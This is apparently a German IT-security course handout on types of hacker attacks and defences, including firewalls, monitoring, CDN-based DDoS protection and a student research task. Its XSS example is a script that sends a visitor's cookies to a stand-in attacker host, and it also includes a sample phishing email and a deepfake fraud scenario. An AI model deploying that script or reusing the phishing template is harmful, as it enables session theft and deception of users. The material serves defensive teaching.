Hackerangriffe und Schutzmaßnahmen

IT-Sicherheit

ITT-Net-IS

3. April 2025

1 Einführung

”Hackerangriff” bezeichnet einen Versuch, unbefugten Zugriff auf ein Computersystem, Netzwerk oder Daten zu erlangen. Während der Begriff ”Hacker” ursprünglich Personen mit tiefgreifendem Technikverständnis beschrieb, wird er heute oft mit Cyberkriminellen assoziiert.

2 Arten von Hackerangriffen

2.1 Phishing-Angriffe

Phishing zielt darauf ab, vertrauliche Informationen wie Passwörter oder Kreditkartendaten durch Täuschung zu erlangen.

Notes

”Phishing” kommt vom englischen ”fishing” (Angeln) und bezeichnet den Versuch, Informationen ”zu angeln”, indem gefälschte Identitäten oder Websites verwendet werden.

2.1.1 Phishing-Varianten

- **Spear-Phishing**: Zielt auf bestimmte Personen oder Organisationen ab
- **Whaling**: Spezifisch auf hochrangige Führungskräfte ausgerichtet
- **Smishing**: Phishing über SMS
- **Vishing**: Phishing über Telefonanrufe (Voice-Phishing)

2.1.2 Beispiel: Typische Phishing-E-Mail

```
Von: security@bank-service-verify.com
Betreff: Dringende Sicherheitswarnung - Handlung erforderlich

Sehr geehrter Kunde,

Wir haben ungewöhnliche Aktivitäten auf Ihrem Konto festgestellt.
Um eine Sperrung zu verhindern, bestätigen Sie bitte Ihre Identität unter:
https://bank-verfication-secure.com/login

Mit freundlichen Grüßen,
Ihr Sicherheitsteam
```

2.2 DDoS-Angriffe (Distributed Denial of Service)

DDoS-Angriffe überlasten Systeme oder Netzwerke mit Anfragen, bis sie nicht mehr reagieren können.

Notes

”DDoS” steht für ”Distributed Denial of Service”. Der Angriff wird von vielen verschiedenen Quellen gleichzeitig ausgeführt, was ihn schwer zu blockieren macht.

2.2.1 DDoS-Arten

- **Volumetrische Angriffe**: Überschwemmen Netzwerkbandbreite
- **Protokollangriffe**: Ausnutzen von Schwachstellen in Netzwerkprotokollen
- **Anwendungsangriffe**: Zielen auf spezifische Anwendungen oder Dienste ab

2.3 Social Engineering

Bei Social Engineering werden psychologische Manipulation eingesetzt, um Opfer zur Preisgabe vertraulicher Informationen zu bewegen.

Notes

”Social Engineering” bezeichnet Techniken der zwischenmenschlichen Manipulation, um Menschen dazu zu bringen, normale Sicherheitsmaßnahmen zu umgehen.

2.3.1 Häufige Social Engineering-Taktiken

- **Vorwand-Anrufe** (”Pretexting”): Erfundene Szenarien zur Informationsgewinnung
- **Baiting**: Anbieten von etwas Verlockenden (z.B. kostenlose Downloads), um Schadsoftware zu verbreiten
- **Quid Pro Quo**: Versprechen eines Vorteils im Austausch für Informationen
- **Tailgating**: Unbefugtes Folgen einer autorisierten Person in gesicherte Bereiche

2.4 Andere verbreitete Angriffsarten

- **SQL-Injection**: Einschleusen von schädlichem SQL-Code in Datenbankanfragen
- **Cross-Site Scripting (XSS)**: Einbetten bösartiger Skripte in Webseiten
- **Man-in-the-Middle (MITM)**: Abfangen und möglicherweise Manipulieren von Kommunikation
- **Brute-Force**: Systematisches Durchprobieren aller möglichen Passwörter
- **Zero-Day-Exploits**: Ausnutzen unbekannter Sicherheitslücken

2.4.1 Beispiel: Cross-Site Scripting (XSS)

```
<!-- Böswilliger Kommentar auf einer Website -->
<script>
  document.addEventListener('DOMContentLoaded', function() {
    var img = new Image();
    img.src = 'https://angreifer.com/stehlen?cookies=' + encodeURIComponent(
       document.cookie);
```

```
    img.style.display = 'none';
    document.body.appendChild(img);
  });
</script>
```

3 Schutzmaßnahmen gegen Hackerangriffe

3.1 Technische Schutzmaßnahmen

3.1.1 Firewalls und Netzwerksicherheit

- Implementierung und Konfiguration von Firewalls
- Segmentierung von Netzwerken
- Verwendung von Virtual Private Networks (VPNs)
- Regelmäßige Netzwerküberwachung

Notes

Eine "Firewall" ist ein Sicherheitssystem, das den Netzwerkverkehr basierend auf vordefinierten Sicherheitsregeln überwacht und kontrolliert.

3.1.2 Beispiel: Einfache iptables-Firewall-Konfiguration

```
# Grundlegende iptables-Firewall-Regeln

# Standardrichtlinien: Alles ablehnen
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Lokale Verbindungen erlauben
iptables -A INPUT -i lo -j ACCEPT

# Bestehende Verbindungen erlauben
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# SSH auf Port 22 erlauben
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# HTTP und HTTPS erlauben
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
```

3.1.3 Aktualisierte Software und Patch-Management

- Regelmäßige Updates für Betriebssysteme und Software
- Automatisierte Patch-Management-Systeme
- Zeitnahe Anwendung sicherheitsrelevanter Updates

3.1.4 Starke Authentifizierung

- Verwendung komplexer Passwörter
- Implementierung von Zwei-Faktor-Authentifizierung (2FA)
- Biometrische Authentifizierungsmethoden
- Single Sign-On (SSO) mit starker Basisauthentifizierung

Notes

”Zwei-Faktor-Authentifizierung (2FA)” erfordert zwei unterschiedliche Authentifizierungsfaktoren: etwas, das man weiß (Passwort), besitzt (Smartphone) oder ist (Fingerabdruck).

3.1.5 Verschlüsselung

- Festplattenverschlüsselung
- Verschlüsselung der Kommunikation (TLS/SSL)
- E-Mail-Verschlüsselung (PGP/GPG)
- Verschlüsselung von Backups

3.1.6 Regelmäßige Backups

- 3-2-1-Backup-Strategie: 3 Kopien, 2 verschiedene Medien, 1 Off-Site
- Regelmäßige Tests der Wiederherstellungsprozesse
- Unveränderliche (immutable) Backups gegen Ransomware

3.2 Organisatorische Schutzmaßnahmen

3.2.1 Sicherheitsrichtlinien und -verfahren

- Dokumentierte Sicherheitsrichtlinien
- Klare Verantwortlichkeiten und Rollen
- Incident-Response-Pläne
- Regelmäßige Sicherheitsaudits

Notes

”Incident-Response-Plan” ist ein dokumentierter Ablaufplan, der festlegt, wie eine Organisation auf Sicherheitsvorfälle reagieren soll.

3.2.2 Mitarbeiterschulung und Sensibilisierung

- Regelmäßige Sicherheitsschulungen
- Phishing-Simulationen
- Sicherheitsbewusstsein im Arbeitsalltag fördern
- Klare Meldewege für verdächtige Aktivitäten

3.2.3 Beispiel: Checkliste für Sicherheitsbewusstsein

- ☐ Verdächtige E-Mails an IT-Sicherheit melden
- ☐ Keine unbekannten USB-Sticks verwenden
- ☐ Starke, einzigartige Passwörter für jeden Dienst nutzen
- ☐ Zwei-Faktor-Authentifizierung aktivieren
- ☐ Öffentliches WLAN nur mit VPN nutzen
- ☐ Bildschirm sperren, wenn Arbeitsplatz verlassen wird
- ☐ Regelmäßig an Sicherheitsschulungen teilnehmen
- ☐ Vorsicht bei unerwarteten Anhängen oder Links

3.2.4 Zugriffskontrollen und Berechtigungsverwaltung

- Prinzip der geringsten Berechtigung
- Regelmäßige Überprüfung von Zugriffsrechten
- Prozesse für Onboarding und Offboarding von Mitarbeitern
- Privilegierte Konten besonders schützen

Notes

Das ”Prinzip der geringsten Berechtigung” (Principle of Least Privilege) besagt, dass Benutzer nur die minimal notwendigen Rechte erhalten sollten, um ihre Aufgaben zu erfüllen.

3.3 Überwachung und Reaktion

3.3.1 Sicherheitsüberwachung

- Intrusion Detection/Prevention Systeme (IDS/IPS)
- Security Information and Event Management (SIEM)
- Anomalieerkennung
- Honeypots zur Angriffserkennung

Notes

”SIEM” (Security Information and Event Management) sammelt und analysiert Sicherheitsdaten aus verschiedenen Quellen, um Bedrohungen zu erkennen und darauf zu reagieren.

3.3.2 Beispiel: Log-Analyse mit ELK Stack

```
# Beispiel für einfache Analyse von Zugriffsprotokollen mit grep
# Suche nach fehlgeschlagenen SSH-Anmeldeversuchen

grep "Failed password" /var/log/auth.log | \
    awk '{print $11}' | \
    sort | uniq -c | sort -nr | \
    head -n 10
```

3.3.3 Incident Response

- Festgelegte Reaktionspläne für verschiedene Angriffsszenarien
- Klar definierte Rollen und Verantwortlichkeiten
- Kommunikationsstrategien während eines Vorfalls
- Forensische Untersuchungsprozesse

3.3.4 Penetrationstests und Schwachstellenscans

- Regelmäßige Schwachstellenscans
- Externe Penetrationstests
- Red-Team-Übungen
- Bug-Bounty-Programme

Notes

”Red-Team-Übungen” sind simulierte Angriffe durch ein Team von Sicherheitsexperten, die versuchen, die Verteidigungsmaßnahmen einer Organisation zu überwinden, um Schwachstellen zu identifizieren.

3.4 Content Delivery Networks (CDN) als Schutzmaßnahme

Content Delivery Networks sind verteilte Netzwerke von Servern, die Website-Inhalte an verschiedenen geografischen Standorten zwischenspeichern und ausliefern.

Notes

”CDN” steht für ”Content Delivery Network” und bezeichnet ein Netzwerk geografisch verteilter Server, die zusammenarbeiten, um digitale Inhalte schnell und zuverlässig bereitzustellen. Ursprünglich zur Leistungsverbesserung entwickelt, haben CDNs heute wichtige Sicherheitsfunktionen.

3.4.1 Funktionsweise eines CDN

- Verteilung von Inhalten auf mehrere Server weltweit
- Auslieferung von Inhalten vom geografisch nächsten Server
- Zwischenspeicherung (Caching) statischer Inhalte
- Lastverteilung zwischen Servern
- Netzwerkoptimierung durch effiziente Routing-Mechanismen

3.4.2 CDN als DDoS-Schutz

CDNs bieten mehrere Schutzmechanismen gegen DDoS-Angriffe:

Angriffsverdünnung durch Verteilung

- Verteilung des Datenverkehrs auf zahlreiche Server weltweit
- Einzelne Server werden nicht überlastet
- Angriffsdaten werden über ein größeres Netzwerk verteilt

Traffic-Filterung und Anomalieerkennung

- Erkennung ungewöhnlicher Verkehrsmuster in Echtzeit
- Unterscheidung zwischen legitimen Benutzern und Angreifern
- Automatische Blockierung verdächtiger IP-Adressen
- Layer 3/4 und Layer 7 Schutz (Netzwerk- und Anwendungsebene)

Überkapazität und Skalierung

- CDNs verfügen über massive Bandbreitenreserven
- Können plötzliche Verkehrsspitzen absorbieren
- Dynamische Skalierung bei Bedarf

Bot-Management

- Identifizierung und Blockierung von Bot-Netzwerken
- CAPTCHA-Integration für verdächtige Anfragen
- Rate-Limiting für einzelne IP-Adressen

3.4.3 Beispiel: CDN-Konfiguration mit Cloudflare

```
# Beispiel einer Cloudflare-Konfiguration (als .cloudflare.yaml)

# DDoS-Schutzeinstellungen
ddos_protection:
  security_level: high      # Sicherheitsstufe (low, medium, high)
  challenge_ttl: 3600       # Gültigkeitsdauer von Sicherheitsabfragen in Sekunden
  rate_limiting:
    enabled: true
    threshold: 100          # Maximale Anfragen pro Minute
    action: challenge       # Aktion bei Überschreitung (challenge, block, js_challenge)

# WAF (Web Application Firewall) Regeln
waf:
  enabled: true
  ruleset: cloudflare      # Verwendetes Regelset
  custom_rules:
    - description: "Blockiere verdächtige User-Agents"
      expression: "http.user_agent contains 'scraper' or http.user_agent contains 'bot'"
      action: block

# Caching-Einstellungen
cache:
  enabled: true
  ttl: 86400               # Caching-Dauer in Sekunden (24 Stunden)
  browser_ttl: 14400       # Browser-Cache-Dauer (4 Stunden)
```

3.4.4 Vor- und Nachteile von CDNs

Vorteile

- Effektiver Schutz gegen volumetrische DDoS-Angriffe
- Verbesserung der Website-Ladezeiten
- Reduzierung der Last auf Ursprungsservern
- Globale Verteilung für Ausfallsicherheit

Nachteile

- Potenzielle Abhängigkeit von einem externen Dienstleister
- Mögliche Komplexität bei der Konfiguration
- Zusätzliche Kosten bei hohem Datenverkehr
- Bei unsachgemäßer Konfiguration mögliche Datenschutzprobleme

3.4.5 Einsatzstrategien für CDNs

- Kombination mit lokalen Schutzmaßnahmen (Defense-in-Depth)
- Absicherung kritischer Webanwendungen und APIs
- Entwicklung von Notfallplänen für den Fall einer CDN-Störung
- Regelmäßige Überprüfung und Anpassung der CDN-Konfiguration

Notes

Die Nutzung eines CDN ist eine proaktive Maßnahme, die sowohl die Leistung als auch die Sicherheit einer Website verbessert. Als Teil einer umfassenden Sicherheitsstrategie sollte ein CDN mit anderen Sicherheitsmaßnahmen wie Firewalls, Intrusion Detection und regelmäßigen Sicherheitsaudits kombiniert werden.

4 Aktuelle Angriffsszenarien (2024-2025)

4.1 Erweiterte Phishing-Techniken

- KI-generierte Phishing-Nachrichten
- Gezielte Spear-Phishing-Angriffe mit präzisen persönlichen Informationen
- Manipulation von Geschäftskommunikation (Business Email Compromise)
- Mehrsprachige und kulturell angepasste Phishing-Kampagnen

4.2 Cloud-Sicherheitsbedrohungen

- Fehlkonfigurationen in Cloud-Umgebungen
- Angriffe auf APIs
- Container-Sicherheitslücken
- Identity and Access Management (IAM) Schwachstellen

4.3 Angriffe auf Lieferketten

- Kompromittierung von Software-Lieferketten
- Angriffe auf vertrauenswürdige Software-Updates
- Manipulation von Open-Source-Paketen
- Kompromittierung von Entwicklungsumgebungen

Notes

”Lieferkettenangriffe” zielen auf die Kompromittierung von Software oder Hardware während des Entwicklungs- oder Verteilungsprozesses ab, oft bevor sie den Endverbraucher erreicht.

4.4 IoT-Bedrohungen

- Angriffe auf unzureichend gesicherte IoT-Geräte
- Botnets aus kompromittierten IoT-Geräten
- Smart-Home-Schwachstellen
- Industrielle IoT-Sicherheitsprobleme

Notes

”IoT” (Internet of Things) bezeichnet Alltagsgeräte, die mit dem Internet verbunden sind und Daten sammeln, austauschen und verarbeiten können.

4.5 Deepfakes und KI-gestützte Angriffe

- Täuschend echte Stimm- und Videomanipulationen
- Automatisierte Social-Engineering-Angriffe
- Umgehung von biometrischen Sicherheitssystemen
- Generative KI zur Erstellung täuschend echter Phishing-Inhalte

4.5.1 Beispiel: Deepfake-basierte CEO-Betrugsmasche

```
Ein Finanzmanager erhält einen Videoanruf, der scheinbar vom CEO des Unternehmens ko
Die Person sieht aus und klingt genau wie der CEO, ist jedoch ein Deepfake.

Der falsche CEO erklärt, dass eine dringende, vertrauliche Übernahme im Gange sei und
sofort eine Vorauszahlung an ein Treuhandkonto geleistet werden müsse.
Er betont die Dringlichkeit und Vertraulichkeit, um den normalen Genehmigungsprozess
zu umgehen.
```

5 Praxisaufgabe: Recherche aktueller Angriffsszenarien

5.1 Aufgabenstellung

1. Recherchieren Sie ein aktuelles Angriffsszenario aus den Jahren 2024-2025
2. Analysieren Sie:
    - Art des Angriffs
    - Betroffene Systeme und Organisationen
    - Angriffsmethode und -verlauf
    - Auswirkungen und Schäden
    - Gegenmaßnahmen und Lehren
3. Erstellen Sie eine Präsentation (10-15 Minuten)
4. Bereiten Sie praktische Empfehlungen vor, wie sich Unternehmen vor ähnlichen Angriffen schützen können

5.2 Bewertungskriterien

- Tiefe und Qualität der Recherche (10 Punkte)
- Verständnis der technischen Details (5 Punkte)
- Qualität der Präsentation (5 Punkte)
- Praxisrelevanz der Empfehlungen (5 Punkte)

6 Literatur und weiterführende Ressourcen

6.1 Bücher

- Ross J. Anderson: ”Security Engineering” (3. Auflage, 2020)
- Kim Zetter: ”Countdown to Zero Day” (2015)
- Bruce Schneier: ”Click Here to Kill Everybody” (2018)

6.2 Online-Ressourcen

- OWASP Top 10: `https://owasp.org/Top10/`
- NIST Cybersecurity Framework: `https://www.nist.gov/cyberframework`
- BSI IT-Grundschutz: `https://www.bsi.bund.de/grundschutz`

6.3 Podcasts und Blogs

- Darknet Diaries (Podcast)
- Passwort Podcast von Heise (Podcast)
- Risky Buisness (Podcast)
- Krebs on Security (Blog)
- The Hacker News (Website)
- heise Security (deutschsprachiges Portal)

7 Glossar

- **APT (Advanced Persistent Threat)**: Komplexe, langfristige Angriffe, oft staatlich gesponsert
- **CVE (Common Vulnerabilities and Exposures)**: Standardisierte Kennungen für bekannte Sicherheitslücken
- **Exploit**: Code oder Technik zur Ausnutzung einer Sicherheitslücke
- **Hashing**: Kryptografische Einwegfunktion zur Datenintegritätsprüfung
- **MITM (Man-in-the-Middle)**: Angriff, bei dem Kommunikation abgefangen wird
- **Pen-Test (Penetrationstest)**: Autorisierter Simulationsangriff zur Sicherheitsprüfung
- **Sandbox**: Isolierte Umgebung zum Testen potenziell gefährlicher Software
- **Zero-Day**: Unbekannte Sicherheitslücke ohne verfügbaren Patch